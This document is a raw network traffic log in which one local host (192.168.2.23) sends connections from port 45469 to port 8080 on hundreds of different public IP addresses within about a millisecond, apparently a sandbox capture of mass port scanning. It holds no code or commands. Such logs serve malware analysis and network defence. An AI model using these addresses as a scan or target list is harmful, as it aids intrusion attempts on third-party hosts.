Dec 26, 2023 21:22:49.789205074 CET	45469	8080	192.168.2.23	62.244.203.178
Dec 26, 2023 21:22:49.789216042 CET	45469	8080	192.168.2.23	94.61.38.43
Dec 26, 2023 21:22:49.789216042 CET	45469	8080	192.168.2.23	94.82.209.46
Dec 26, 2023 21:22:49.789218903 CET	45469	8080	192.168.2.23	62.228.68.20
Dec 26, 2023 21:22:49.789218903 CET	45469	8080	192.168.2.23	85.27.183.189
Dec 26, 2023 21:22:49.789218903 CET	45469	8080	192.168.2.23	95.39.154.44
Dec 26, 2023 21:22:49.789220095 CET	45469	8080	192.168.2.23	95.129.214.125
Dec 26, 2023 21:22:49.789220095 CET	45469	8080	192.168.2.23	62.42.252.173
Dec 26, 2023 21:22:49.789228916 CET	45469	8080	192.168.2.23	94.0.61.55
Dec 26, 2023 21:22:49.789237976 CET	45469	8080	192.168.2.23	62.116.40.107
Dec 26, 2023 21:22:49.789241076 CET	45469	8080	192.168.2.23	62.69.111.251
Dec 26, 2023 21:22:49.789242029 CET	45469	8080	192.168.2.23	62.159.35.148
Dec 26, 2023 21:22:49.789242983 CET	45469	8080	192.168.2.23	94.222.78.85
Dec 26, 2023 21:22:49.789242983 CET	45469	8080	192.168.2.23	94.68.204.140
Dec 26, 2023 21:22:49.789242029 CET	45469	8080	192.168.2.23	85.151.87.150
Dec 26, 2023 21:22:49.789244890 CET	45469	8080	192.168.2.23	31.183.19.36
Dec 26, 2023 21:22:49.789244890 CET	45469	8080	192.168.2.23	31.127.225.29
Dec 26, 2023 21:22:49.789247036 CET	45469	8080	192.168.2.23	94.81.176.175
Dec 26, 2023 21:22:49.789247036 CET	45469	8080	192.168.2.23	94.142.47.114
Dec 26, 2023 21:22:49.789252043 CET	45469	8080	192.168.2.23	95.208.79.241
Dec 26, 2023 21:22:49.789256096 CET	45469	8080	192.168.2.23	31.156.198.121
Dec 26, 2023 21:22:49.789257050 CET	45469	8080	192.168.2.23	85.230.205.239
Dec 26, 2023 21:22:49.789256096 CET	45469	8080	192.168.2.23	31.171.154.158
Dec 26, 2023 21:22:49.789262056 CET	45469	8080	192.168.2.23	94.22.9.21
Dec 26, 2023 21:22:49.789262056 CET	45469	8080	192.168.2.23	95.39.226.153
Dec 26, 2023 21:22:49.789263964 CET	45469	8080	192.168.2.23	85.2.212.211
Dec 26, 2023 21:22:49.789268017 CET	45469	8080	192.168.2.23	94.41.119.60
Dec 26, 2023 21:22:49.789268017 CET	45469	8080	192.168.2.23	31.61.104.56
Dec 26, 2023 21:22:49.789268970 CET	45469	8080	192.168.2.23	95.249.103.245
Dec 26, 2023 21:22:49.789268017 CET	45469	8080	192.168.2.23	62.98.52.196
Dec 26, 2023 21:22:49.789271116 CET	45469	8080	192.168.2.23	85.166.159.216
Dec 26, 2023 21:22:49.789268017 CET	45469	8080	192.168.2.23	85.119.119.61
Dec 26, 2023 21:22:49.789271116 CET	45469	8080	192.168.2.23	31.92.38.250
Dec 26, 2023 21:22:49.789268970 CET	45469	8080	192.168.2.23	95.205.142.105
Dec 26, 2023 21:22:49.789268970 CET	45469	8080	192.168.2.23	95.245.168.166
Dec 26, 2023 21:22:49.789273024 CET	45469	8080	192.168.2.23	94.154.197.25
Dec 26, 2023 21:22:49.789273977 CET	45469	8080	192.168.2.23	31.225.246.79
Dec 26, 2023 21:22:49.789273024 CET	45469	8080	192.168.2.23	95.2.79.44
Dec 26, 2023 21:22:49.789278984 CET	45469	8080	192.168.2.23	94.227.32.211
Dec 26, 2023 21:22:49.789278984 CET	45469	8080	192.168.2.23	85.31.120.14
Dec 26, 2023 21:22:49.789288998 CET	45469	8080	192.168.2.23	85.107.53.39
Dec 26, 2023 21:22:49.789293051 CET	45469	8080	192.168.2.23	31.55.67.60
Dec 26, 2023 21:22:49.789297104 CET	45469	8080	192.168.2.23	31.160.67.168
Dec 26, 2023 21:22:49.789299965 CET	45469	8080	192.168.2.23	62.195.190.57
Dec 26, 2023 21:22:49.789299965 CET	45469	8080	192.168.2.23	94.58.210.47
Dec 26, 2023 21:22:49.789300919 CET	45469	8080	192.168.2.23	95.157.24.75
Dec 26, 2023 21:22:49.789303064 CET	45469	8080	192.168.2.23	31.160.131.242
Dec 26, 2023 21:22:49.789308071 CET	45469	8080	192.168.2.23	31.169.119.142
Dec 26, 2023 21:22:49.789318085 CET	45469	8080	192.168.2.23	94.172.126.39
Dec 26, 2023 21:22:49.789319038 CET	45469	8080	192.168.2.23	62.44.172.23
Dec 26, 2023 21:22:49.789321899 CET	45469	8080	192.168.2.23	85.67.193.113
Dec 26, 2023 21:22:49.789331913 CET	45469	8080	192.168.2.23	31.84.59.32
Dec 26, 2023 21:22:49.789331913 CET	45469	8080	192.168.2.23	31.41.102.163
Dec 26, 2023 21:22:49.789339066 CET	45469	8080	192.168.2.23	85.28.75.178
Dec 26, 2023 21:22:49.789339066 CET	45469	8080	192.168.2.23	95.133.122.38
Dec 26, 2023 21:22:49.789344072 CET	45469	8080	192.168.2.23	62.18.171.29
Dec 26, 2023 21:22:49.789344072 CET	45469	8080	192.168.2.23	31.30.172.91
Dec 26, 2023 21:22:49.789349079 CET	45469	8080	192.168.2.23	62.126.51.6
Dec 26, 2023 21:22:49.789350986 CET	45469	8080	192.168.2.23	95.72.189.106
Dec 26, 2023 21:22:49.789354086 CET	45469	8080	192.168.2.23	31.248.193.196
Dec 26, 2023 21:22:49.789354086 CET	45469	8080	192.168.2.23	95.212.190.227
Dec 26, 2023 21:22:49.789354086 CET	45469	8080	192.168.2.23	94.208.53.144
Dec 26, 2023 21:22:49.789355040 CET	45469	8080	192.168.2.23	31.125.64.233
Dec 26, 2023 21:22:49.789354086 CET	45469	8080	192.168.2.23	95.61.84.47
Dec 26, 2023 21:22:49.789359093 CET	45469	8080	192.168.2.23	95.146.65.24
Dec 26, 2023 21:22:49.789359093 CET	45469	8080	192.168.2.23	85.87.92.171
Dec 26, 2023 21:22:49.789361000 CET	45469	8080	192.168.2.23	62.199.141.141
Dec 26, 2023 21:22:49.789361000 CET	45469	8080	192.168.2.23	94.208.46.230
Dec 26, 2023 21:22:49.789361954 CET	45469	8080	192.168.2.23	85.77.125.32
Dec 26, 2023 21:22:49.789361954 CET	45469	8080	192.168.2.23	62.56.209.98
Dec 26, 2023 21:22:49.789362907 CET	45469	8080	192.168.2.23	94.130.26.45
Dec 26, 2023 21:22:49.789362907 CET	45469	8080	192.168.2.23	62.79.34.71
Dec 26, 2023 21:22:49.789362907 CET	45469	8080	192.168.2.23	62.119.48.71
Dec 26, 2023 21:22:49.789362907 CET	45469	8080	192.168.2.23	95.232.236.64
Dec 26, 2023 21:22:49.789362907 CET	45469	8080	192.168.2.23	85.231.172.136
Dec 26, 2023 21:22:49.789366961 CET	45469	8080	192.168.2.23	95.59.157.179
Dec 26, 2023 21:22:49.789366961 CET	45469	8080	192.168.2.23	85.8.30.208
Dec 26, 2023 21:22:49.789371014 CET	45469	8080	192.168.2.23	95.151.243.224
Dec 26, 2023 21:22:49.789385080 CET	45469	8080	192.168.2.23	85.234.129.204
Dec 26, 2023 21:22:49.789386034 CET	45469	8080	192.168.2.23	85.195.208.30
Dec 26, 2023 21:22:49.789390087 CET	45469	8080	192.168.2.23	85.180.199.131
Dec 26, 2023 21:22:49.789390087 CET	45469	8080	192.168.2.23	94.229.53.74
Dec 26, 2023 21:22:49.789391041 CET	45469	8080	192.168.2.23	62.208.129.176
Dec 26, 2023 21:22:49.789391041 CET	45469	8080	192.168.2.23	95.107.55.47
Dec 26, 2023 21:22:49.789391041 CET	45469	8080	192.168.2.23	95.133.172.251
Dec 26, 2023 21:22:49.789390087 CET	45469	8080	192.168.2.23	95.108.13.199
Dec 26, 2023 21:22:49.789393902 CET	45469	8080	192.168.2.23	85.230.9.167
Dec 26, 2023 21:22:49.789391041 CET	45469	8080	192.168.2.23	94.219.78.231
Dec 26, 2023 21:22:49.789400101 CET	45469	8080	192.168.2.23	62.194.97.199
Dec 26, 2023 21:22:49.789400101 CET	45469	8080	192.168.2.23	62.127.16.217
Dec 26, 2023 21:22:49.789400101 CET	45469	8080	192.168.2.23	85.225.97.156
Dec 26, 2023 21:22:49.789402008 CET	45469	8080	192.168.2.23	95.36.7.124
Dec 26, 2023 21:22:49.789403915 CET	45469	8080	192.168.2.23	85.101.178.196
Dec 26, 2023 21:22:49.789406061 CET	45469	8080	192.168.2.23	94.104.165.199
Dec 26, 2023 21:22:49.789419889 CET	45469	8080	192.168.2.23	85.144.4.81
Dec 26, 2023 21:22:49.789419889 CET	45469	8080	192.168.2.23	85.72.106.22
Dec 26, 2023 21:22:49.789421082 CET	45469	8080	192.168.2.23	85.21.193.35
Dec 26, 2023 21:22:49.789429903 CET	45469	8080	192.168.2.23	62.27.6.233
Dec 26, 2023 21:22:49.789429903 CET	45469	8080	192.168.2.23	94.53.136.218
Dec 26, 2023 21:22:49.789432049 CET	45469	8080	192.168.2.23	94.159.158.7
Dec 26, 2023 21:22:49.789433002 CET	45469	8080	192.168.2.23	62.151.143.189
Dec 26, 2023 21:22:49.789433002 CET	45469	8080	192.168.2.23	94.106.56.173
Dec 26, 2023 21:22:49.789432049 CET	45469	8080	192.168.2.23	94.134.205.122
Dec 26, 2023 21:22:49.789433002 CET	45469	8080	192.168.2.23	94.150.163.80
Dec 26, 2023 21:22:49.789433002 CET	45469	8080	192.168.2.23	31.10.160.203
Dec 26, 2023 21:22:49.789433002 CET	45469	8080	192.168.2.23	94.170.30.36
Dec 26, 2023 21:22:49.789436102 CET	45469	8080	192.168.2.23	85.73.75.87
Dec 26, 2023 21:22:49.789442062 CET	45469	8080	192.168.2.23	31.217.138.35
Dec 26, 2023 21:22:49.789443970 CET	45469	8080	192.168.2.23	31.113.161.188
Dec 26, 2023 21:22:49.789443970 CET	45469	8080	192.168.2.23	31.5.187.48
Dec 26, 2023 21:22:49.789443970 CET	45469	8080	192.168.2.23	62.190.17.93
Dec 26, 2023 21:22:49.789447069 CET	45469	8080	192.168.2.23	95.171.166.255
Dec 26, 2023 21:22:49.789447069 CET	45469	8080	192.168.2.23	85.202.234.52
Dec 26, 2023 21:22:49.789457083 CET	45469	8080	192.168.2.23	62.222.207.73
Dec 26, 2023 21:22:49.789457083 CET	45469	8080	192.168.2.23	31.30.134.221
Dec 26, 2023 21:22:49.789465904 CET	45469	8080	192.168.2.23	31.86.79.136
Dec 26, 2023 21:22:49.789468050 CET	45469	8080	192.168.2.23	85.181.81.74
Dec 26, 2023 21:22:49.789468050 CET	45469	8080	192.168.2.23	95.33.83.80
Dec 26, 2023 21:22:49.789468050 CET	45469	8080	192.168.2.23	85.61.151.189
Dec 26, 2023 21:22:49.789468050 CET	45469	8080	192.168.2.23	62.195.96.46
Dec 26, 2023 21:22:49.789479017 CET	45469	8080	192.168.2.23	95.232.35.74
Dec 26, 2023 21:22:49.789479017 CET	45469	8080	192.168.2.23	94.204.65.127
Dec 26, 2023 21:22:49.789484024 CET	45469	8080	192.168.2.23	62.57.239.123
Dec 26, 2023 21:22:49.789484978 CET	45469	8080	192.168.2.23	31.149.79.2
Dec 26, 2023 21:22:49.789500952 CET	45469	8080	192.168.2.23	95.161.116.141
Dec 26, 2023 21:22:49.789501905 CET	45469	8080	192.168.2.23	94.52.12.237
Dec 26, 2023 21:22:49.789501905 CET	45469	8080	192.168.2.23	31.57.245.25
Dec 26, 2023 21:22:49.789501905 CET	45469	8080	192.168.2.23	94.156.119.138
Dec 26, 2023 21:22:49.789501905 CET	45469	8080	192.168.2.23	94.43.224.165
Dec 26, 2023 21:22:49.789505005 CET	45469	8080	192.168.2.23	31.13.246.11
Dec 26, 2023 21:22:49.789506912 CET	45469	8080	192.168.2.23	85.98.204.175
Dec 26, 2023 21:22:49.789506912 CET	45469	8080	192.168.2.23	94.32.221.192
Dec 26, 2023 21:22:49.789519072 CET	45469	8080	192.168.2.23	62.35.155.96
Dec 26, 2023 21:22:49.789521933 CET	45469	8080	192.168.2.23	94.125.36.117
Dec 26, 2023 21:22:49.789525032 CET	45469	8080	192.168.2.23	95.183.54.219
Dec 26, 2023 21:22:49.789525032 CET	45469	8080	192.168.2.23	62.2.119.161
Dec 26, 2023 21:22:49.789525032 CET	45469	8080	192.168.2.23	31.37.159.163
Dec 26, 2023 21:22:49.789525032 CET	45469	8080	192.168.2.23	85.220.175.90
Dec 26, 2023 21:22:49.789525032 CET	45469	8080	192.168.2.23	31.50.163.214
Dec 26, 2023 21:22:49.789526939 CET	45469	8080	192.168.2.23	95.130.208.3
Dec 26, 2023 21:22:49.789526939 CET	45469	8080	192.168.2.23	62.179.181.44
Dec 26, 2023 21:22:49.789530039 CET	45469	8080	192.168.2.23	94.233.25.106
Dec 26, 2023 21:22:49.789530993 CET	45469	8080	192.168.2.23	85.152.177.208
Dec 26, 2023 21:22:49.789530993 CET	45469	8080	192.168.2.23	94.62.111.72
Dec 26, 2023 21:22:49.789530993 CET	45469	8080	192.168.2.23	62.254.83.113
Dec 26, 2023 21:22:49.789530993 CET	45469	8080	192.168.2.23	95.212.217.87
Dec 26, 2023 21:22:49.789545059 CET	45469	8080	192.168.2.23	85.82.253.195
Dec 26, 2023 21:22:49.789546013 CET	45469	8080	192.168.2.23	95.210.195.142
Dec 26, 2023 21:22:49.789546013 CET	45469	8080	192.168.2.23	85.102.113.162
Dec 26, 2023 21:22:49.789549112 CET	45469	8080	192.168.2.23	95.228.255.246
Dec 26, 2023 21:22:49.789549112 CET	45469	8080	192.168.2.23	94.201.6.62
Dec 26, 2023 21:22:49.789549112 CET	45469	8080	192.168.2.23	85.20.125.5
Dec 26, 2023 21:22:49.789551973 CET	45469	8080	192.168.2.23	95.37.105.64
Dec 26, 2023 21:22:49.789551973 CET	45469	8080	192.168.2.23	85.8.133.9
Dec 26, 2023 21:22:49.789557934 CET	45469	8080	192.168.2.23	95.150.18.38
Dec 26, 2023 21:22:49.789562941 CET	45469	8080	192.168.2.23	95.156.35.61
Dec 26, 2023 21:22:49.789562941 CET	45469	8080	192.168.2.23	85.36.240.67
Dec 26, 2023 21:22:49.789562941 CET	45469	8080	192.168.2.23	94.196.238.209
Dec 26, 2023 21:22:49.789573908 CET	45469	8080	192.168.2.23	95.172.30.157
Dec 26, 2023 21:22:49.789576054 CET	45469	8080	192.168.2.23	94.109.195.9
Dec 26, 2023 21:22:49.789577007 CET	45469	8080	192.168.2.23	62.28.121.35
Dec 26, 2023 21:22:49.789576054 CET	45469	8080	192.168.2.23	95.75.99.152
Dec 26, 2023 21:22:49.789577961 CET	45469	8080	192.168.2.23	95.208.146.196
Dec 26, 2023 21:22:49.789576054 CET	45469	8080	192.168.2.23	85.1.130.84
Dec 26, 2023 21:22:49.789577961 CET	45469	8080	192.168.2.23	62.138.113.142
Dec 26, 2023 21:22:49.789577961 CET	45469	8080	192.168.2.23	62.70.117.233
Dec 26, 2023 21:22:49.789577007 CET	45469	8080	192.168.2.23	94.188.204.24
Dec 26, 2023 21:22:49.789577961 CET	45469	8080	192.168.2.23	95.214.24.169
Dec 26, 2023 21:22:49.789577007 CET	45469	8080	192.168.2.23	62.43.65.79
Dec 26, 2023 21:22:49.789577961 CET	45469	8080	192.168.2.23	95.21.3.57
Dec 26, 2023 21:22:49.789592981 CET	45469	8080	192.168.2.23	85.131.219.14
Dec 26, 2023 21:22:49.789592981 CET	45469	8080	192.168.2.23	95.229.232.81
Dec 26, 2023 21:22:49.789592981 CET	45469	8080	192.168.2.23	95.206.157.76
Dec 26, 2023 21:22:49.789592981 CET	45469	8080	192.168.2.23	31.56.98.166
Dec 26, 2023 21:22:49.789596081 CET	45469	8080	192.168.2.23	62.105.8.186
Dec 26, 2023 21:22:49.789598942 CET	45469	8080	192.168.2.23	94.213.124.246
Dec 26, 2023 21:22:49.789598942 CET	45469	8080	192.168.2.23	85.19.41.40
Dec 26, 2023 21:22:49.789598942 CET	45469	8080	192.168.2.23	85.22.14.48
Dec 26, 2023 21:22:49.789598942 CET	45469	8080	192.168.2.23	95.124.2.225
Dec 26, 2023 21:22:49.789608955 CET	45469	8080	192.168.2.23	95.207.75.239
Dec 26, 2023 21:22:49.789612055 CET	45469	8080	192.168.2.23	95.228.247.212
Dec 26, 2023 21:22:49.789612055 CET	45469	8080	192.168.2.23	94.105.207.248
Dec 26, 2023 21:22:49.789612055 CET	45469	8080	192.168.2.23	62.158.74.178
Dec 26, 2023 21:22:49.789613008 CET	45469	8080	192.168.2.23	62.179.240.116
Dec 26, 2023 21:22:49.789613962 CET	45469	8080	192.168.2.23	31.91.246.182
Dec 26, 2023 21:22:49.789618969 CET	45469	8080	192.168.2.23	31.10.205.42
Dec 26, 2023 21:22:49.789618969 CET	45469	8080	192.168.2.23	94.150.44.184
Dec 26, 2023 21:22:49.789618969 CET	45469	8080	192.168.2.23	31.226.219.179
Dec 26, 2023 21:22:49.789618969 CET	45469	8080	192.168.2.23	85.170.163.247
Dec 26, 2023 21:22:49.789625883 CET	45469	8080	192.168.2.23	95.157.176.115
Dec 26, 2023 21:22:49.789632082 CET	45469	8080	192.168.2.23	94.11.130.195
Dec 26, 2023 21:22:49.789634943 CET	45469	8080	192.168.2.23	85.201.239.9
Dec 26, 2023 21:22:49.789635897 CET	45469	8080	192.168.2.23	62.62.47.53
Dec 26, 2023 21:22:49.789639950 CET	45469	8080	192.168.2.23	62.202.83.158
Dec 26, 2023 21:22:49.789659977 CET	45469	8080	192.168.2.23	85.83.255.227
Dec 26, 2023 21:22:49.789660931 CET	45469	8080	192.168.2.23	94.26.27.136
Dec 26, 2023 21:22:49.789663076 CET	45469	8080	192.168.2.23	85.193.189.136
Dec 26, 2023 21:22:49.789663076 CET	45469	8080	192.168.2.23	62.119.80.118
Dec 26, 2023 21:22:49.789663076 CET	45469	8080	192.168.2.23	31.11.104.249
Dec 26, 2023 21:22:49.789669991 CET	45469	8080	192.168.2.23	62.234.116.192
Dec 26, 2023 21:22:49.789669991 CET	45469	8080	192.168.2.23	94.228.0.33
Dec 26, 2023 21:22:49.789671898 CET	45469	8080	192.168.2.23	62.72.118.82
Dec 26, 2023 21:22:49.789681911 CET	45469	8080	192.168.2.23	94.212.181.138
Dec 26, 2023 21:22:49.789683104 CET	45469	8080	192.168.2.23	85.36.218.254
Dec 26, 2023 21:22:49.789683104 CET	45469	8080	192.168.2.23	62.215.189.27
Dec 26, 2023 21:22:49.789683104 CET	45469	8080	192.168.2.23	31.61.252.6
Dec 26, 2023 21:22:49.789685965 CET	45469	8080	192.168.2.23	95.113.154.179
Dec 26, 2023 21:22:49.789688110 CET	45469	8080	192.168.2.23	94.8.240.151
Dec 26, 2023 21:22:49.789688110 CET	45469	8080	192.168.2.23	95.60.21.51
Dec 26, 2023 21:22:49.789688110 CET	45469	8080	192.168.2.23	94.18.133.174
Dec 26, 2023 21:22:49.789693117 CET	45469	8080	192.168.2.23	94.83.52.50
Dec 26, 2023 21:22:49.789693117 CET	45469	8080	192.168.2.23	31.93.57.112
Dec 26, 2023 21:22:49.789693117 CET	45469	8080	192.168.2.23	62.1.175.185
Dec 26, 2023 21:22:49.789693117 CET	45469	8080	192.168.2.23	31.31.115.215
Dec 26, 2023 21:22:49.789693117 CET	45469	8080	192.168.2.23	62.152.15.136
Dec 26, 2023 21:22:49.789693117 CET	45469	8080	192.168.2.23	85.49.218.84
Dec 26, 2023 21:22:49.789693117 CET	45469	8080	192.168.2.23	95.240.163.99
Dec 26, 2023 21:22:49.789705038 CET	45469	8080	192.168.2.23	94.246.98.220
Dec 26, 2023 21:22:49.789705992 CET	45469	8080	192.168.2.23	95.117.144.133
Dec 26, 2023 21:22:49.789705992 CET	45469	8080	192.168.2.23	94.77.74.158
Dec 26, 2023 21:22:49.789707899 CET	45469	8080	192.168.2.23	85.80.180.43
Dec 26, 2023 21:22:49.789710999 CET	45469	8080	192.168.2.23	85.187.153.58
Dec 26, 2023 21:22:49.789710999 CET	45469	8080	192.168.2.23	85.8.219.114
Dec 26, 2023 21:22:49.789710999 CET	45469	8080	192.168.2.23	62.117.252.220
Dec 26, 2023 21:22:49.789710999 CET	45469	8080	192.168.2.23	31.121.60.233
Dec 26, 2023 21:22:49.789716005 CET	45469	8080	192.168.2.23	95.199.39.97
Dec 26, 2023 21:22:49.789720058 CET	45469	8080	192.168.2.23	62.138.172.179
Dec 26, 2023 21:22:49.789726973 CET	45469	8080	192.168.2.23	85.112.45.84
Dec 26, 2023 21:22:49.789730072 CET	45469	8080	192.168.2.23	31.75.86.106
Dec 26, 2023 21:22:49.789730072 CET	45469	8080	192.168.2.23	62.36.154.250
Dec 26, 2023 21:22:49.789731026 CET	45469	8080	192.168.2.23	95.59.58.50
Dec 26, 2023 21:22:49.789735079 CET	45469	8080	192.168.2.23	85.109.136.4
Dec 26, 2023 21:22:49.789738894 CET	45469	8080	192.168.2.23	31.235.151.219
Dec 26, 2023 21:22:49.789740086 CET	45469	8080	192.168.2.23	31.242.252.118
Dec 26, 2023 21:22:49.789746046 CET	45469	8080	192.168.2.23	31.226.108.91
Dec 26, 2023 21:22:49.789753914 CET	45469	8080	192.168.2.23	85.1.13.112
Dec 26, 2023 21:22:49.789755106 CET	45469	8080	192.168.2.23	62.201.185.94
Dec 26, 2023 21:22:49.789757013 CET	45469	8080	192.168.2.23	95.204.111.164
Dec 26, 2023 21:22:49.789757013 CET	45469	8080	192.168.2.23	95.190.2.196
Dec 26, 2023 21:22:49.789762974 CET	45469	8080	192.168.2.23	31.71.46.22
Dec 26, 2023 21:22:49.789764881 CET	45469	8080	192.168.2.23	85.181.218.34
Dec 26, 2023 21:22:49.789776087 CET	45469	8080	192.168.2.23	31.242.181.104
Dec 26, 2023 21:22:49.789776087 CET	45469	8080	192.168.2.23	85.123.152.161
Dec 26, 2023 21:22:49.789776087 CET	45469	8080	192.168.2.23	31.32.215.125
Dec 26, 2023 21:22:49.789777040 CET	45469	8080	192.168.2.23	95.240.211.167
Dec 26, 2023 21:22:49.789777040 CET	45469	8080	192.168.2.23	94.216.113.202
Dec 26, 2023 21:22:49.789777040 CET	45469	8080	192.168.2.23	94.121.137.213
Dec 26, 2023 21:22:49.789777040 CET	45469	8080	192.168.2.23	31.169.202.71
Dec 26, 2023 21:22:49.789777040 CET	45469	8080	192.168.2.23	94.213.232.75
Dec 26, 2023 21:22:49.789779902 CET	45469	8080	192.168.2.23	62.246.56.169
Dec 26, 2023 21:22:49.789783001 CET	45469	8080	192.168.2.23	62.121.158.179
Dec 26, 2023 21:22:49.789783955 CET	45469	8080	192.168.2.23	31.82.64.65
Dec 26, 2023 21:22:49.789783955 CET	45469	8080	192.168.2.23	95.12.217.203
Dec 26, 2023 21:22:49.789787054 CET	45469	8080	192.168.2.23	85.71.254.62
Dec 26, 2023 21:22:49.789798021 CET	45469	8080	192.168.2.23	95.114.226.132
Dec 26, 2023 21:22:49.789799929 CET	45469	8080	192.168.2.23	62.168.230.164
Dec 26, 2023 21:22:49.789802074 CET	45469	8080	192.168.2.23	31.249.236.165
Dec 26, 2023 21:22:49.789808989 CET	45469	8080	192.168.2.23	62.76.67.162
Dec 26, 2023 21:22:49.789809942 CET	45469	8080	192.168.2.23	94.121.240.30
Dec 26, 2023 21:22:49.789812088 CET	45469	8080	192.168.2.23	94.169.233.122
Dec 26, 2023 21:22:49.789812088 CET	45469	8080	192.168.2.23	62.130.201.53
Dec 26, 2023 21:22:49.789812088 CET	45469	8080	192.168.2.23	31.131.236.189
Dec 26, 2023 21:22:49.789812088 CET	45469	8080	192.168.2.23	85.15.213.5
Dec 26, 2023 21:22:49.789817095 CET	45469	8080	192.168.2.23	85.166.33.189
Dec 26, 2023 21:22:49.789817095 CET	45469	8080	192.168.2.23	85.196.3.52
Dec 26, 2023 21:22:49.789818048 CET	45469	8080	192.168.2.23	31.182.235.240
Dec 26, 2023 21:22:49.789829016 CET	45469	8080	192.168.2.23	94.150.109.202
Dec 26, 2023 21:22:49.789829969 CET	45469	8080	192.168.2.23	85.37.253.234
Dec 26, 2023 21:22:49.789832115 CET	45469	8080	192.168.2.23	95.69.191.99
Dec 26, 2023 21:22:49.789838076 CET	45469	8080	192.168.2.23	94.6.64.32
Dec 26, 2023 21:22:49.789838076 CET	45469	8080	192.168.2.23	94.190.71.67
Dec 26, 2023 21:22:49.789839029 CET	45469	8080	192.168.2.23	62.27.254.65
Dec 26, 2023 21:22:49.789838076 CET	45469	8080	192.168.2.23	94.128.32.73
Dec 26, 2023 21:22:49.789839029 CET	45469	8080	192.168.2.23	94.245.155.112
Dec 26, 2023 21:22:49.789839029 CET	45469	8080	192.168.2.23	95.29.106.39
Dec 26, 2023 21:22:49.789840937 CET	45469	8080	192.168.2.23	31.158.211.214
Dec 26, 2023 21:22:49.789840937 CET	45469	8080	192.168.2.23	31.34.19.210
Dec 26, 2023 21:22:49.789841890 CET	45469	8080	192.168.2.23	95.203.251.104
Dec 26, 2023 21:22:49.789841890 CET	45469	8080	192.168.2.23	95.247.232.5
Dec 26, 2023 21:22:49.789841890 CET	45469	8080	192.168.2.23	94.104.114.39
Dec 26, 2023 21:22:49.789841890 CET	45469	8080	192.168.2.23	31.52.188.42
Dec 26, 2023 21:22:49.789841890 CET	45469	8080	192.168.2.23	62.7.7.224
Dec 26, 2023 21:22:49.789841890 CET	45469	8080	192.168.2.23	95.170.9.21
Dec 26, 2023 21:22:49.789844036 CET	45469	8080	192.168.2.23	31.112.192.216
Dec 26, 2023 21:22:49.789846897 CET	45469	8080	192.168.2.23	94.140.233.177
Dec 26, 2023 21:22:49.789846897 CET	45469	8080	192.168.2.23	94.232.107.89
Dec 26, 2023 21:22:49.789858103 CET	45469	8080	192.168.2.23	62.90.102.7
Dec 26, 2023 21:22:49.789858103 CET	45469	8080	192.168.2.23	31.80.46.8
Dec 26, 2023 21:22:49.789858103 CET	45469	8080	192.168.2.23	31.125.91.167
Dec 26, 2023 21:22:49.789858103 CET	45469	8080	192.168.2.23	95.22.165.22
Dec 26, 2023 21:22:49.789859056 CET	45469	8080	192.168.2.23	62.136.4.179
Dec 26, 2023 21:22:49.789865971 CET	45469	8080	192.168.2.23	94.231.95.181
Dec 26, 2023 21:22:49.789865971 CET	45469	8080	192.168.2.23	94.128.227.181
Dec 26, 2023 21:22:49.789868116 CET	45469	8080	192.168.2.23	62.239.172.38
Dec 26, 2023 21:22:49.789872885 CET	45469	8080	192.168.2.23	31.181.44.142
Dec 26, 2023 21:22:49.789874077 CET	45469	8080	192.168.2.23	62.246.104.171
Dec 26, 2023 21:22:49.789874077 CET	45469	8080	192.168.2.23	62.220.63.32
Dec 26, 2023 21:22:49.789882898 CET	45469	8080	192.168.2.23	85.248.217.142
Dec 26, 2023 21:22:49.789884090 CET	45469	8080	192.168.2.23	85.20.39.239
Dec 26, 2023 21:22:49.789885998 CET	45469	8080	192.168.2.23	94.85.18.220
Dec 26, 2023 21:22:49.789886951 CET	45469	8080	192.168.2.23	95.196.107.158
Dec 26, 2023 21:22:49.789886951 CET	45469	8080	192.168.2.23	31.164.117.184
Dec 26, 2023 21:22:49.789890051 CET	45469	8080	192.168.2.23	62.245.59.29
Dec 26, 2023 21:22:49.789890051 CET	45469	8080	192.168.2.23	85.108.17.3
Dec 26, 2023 21:22:49.789890051 CET	45469	8080	192.168.2.23	85.184.40.250
Dec 26, 2023 21:22:49.789891005 CET	45469	8080	192.168.2.23	62.129.166.134
Dec 26, 2023 21:22:49.789896011 CET	45469	8080	192.168.2.23	62.149.63.208
Dec 26, 2023 21:22:49.789896011 CET	45469	8080	192.168.2.23	62.181.247.155
Dec 26, 2023 21:22:49.789896011 CET	45469	8080	192.168.2.23	85.36.185.236
Dec 26, 2023 21:22:49.789900064 CET	45469	8080	192.168.2.23	62.109.195.185
Dec 26, 2023 21:22:49.789900064 CET	45469	8080	192.168.2.23	85.198.67.123
Dec 26, 2023 21:22:49.789901018 CET	45469	8080	192.168.2.23	62.110.72.79
Dec 26, 2023 21:22:49.789912939 CET	45469	8080	192.168.2.23	95.214.76.196
Dec 26, 2023 21:22:49.789916039 CET	45469	8080	192.168.2.23	95.119.254.119
Dec 26, 2023 21:22:49.789917946 CET	45469	8080	192.168.2.23	94.10.26.243
Dec 26, 2023 21:22:49.789918900 CET	45469	8080	192.168.2.23	94.1.68.85
Dec 26, 2023 21:22:49.789918900 CET	45469	8080	192.168.2.23	95.9.214.164
Dec 26, 2023 21:22:49.789925098 CET	45469	8080	192.168.2.23	85.243.104.162
Dec 26, 2023 21:22:49.789925098 CET	45469	8080	192.168.2.23	85.63.159.248
Dec 26, 2023 21:22:49.789925098 CET	45469	8080	192.168.2.23	95.89.63.3
Dec 26, 2023 21:22:49.789930105 CET	45469	8080	192.168.2.23	62.144.127.16
Dec 26, 2023 21:22:49.789930105 CET	45469	8080	192.168.2.23	85.238.251.148
Dec 26, 2023 21:22:49.789931059 CET	45469	8080	192.168.2.23	95.8.8.81
Dec 26, 2023 21:22:49.789931059 CET	45469	8080	192.168.2.23	95.195.89.109
Dec 26, 2023 21:22:49.789932013 CET	45469	8080	192.168.2.23	31.33.168.114
Dec 26, 2023 21:22:49.789932013 CET	45469	8080	192.168.2.23	95.225.228.75
Dec 26, 2023 21:22:49.789933920 CET	45469	8080	192.168.2.23	94.216.118.131
Dec 26, 2023 21:22:49.789933920 CET	45469	8080	192.168.2.23	62.23.237.22
Dec 26, 2023 21:22:49.789933920 CET	45469	8080	192.168.2.23	94.52.225.249
Dec 26, 2023 21:22:49.789936066 CET	45469	8080	192.168.2.23	31.58.223.119
Dec 26, 2023 21:22:49.789942026 CET	45469	8080	192.168.2.23	95.56.231.182
Dec 26, 2023 21:22:49.789942026 CET	45469	8080	192.168.2.23	62.127.160.187
Dec 26, 2023 21:22:49.789942026 CET	45469	8080	192.168.2.23	85.252.144.170
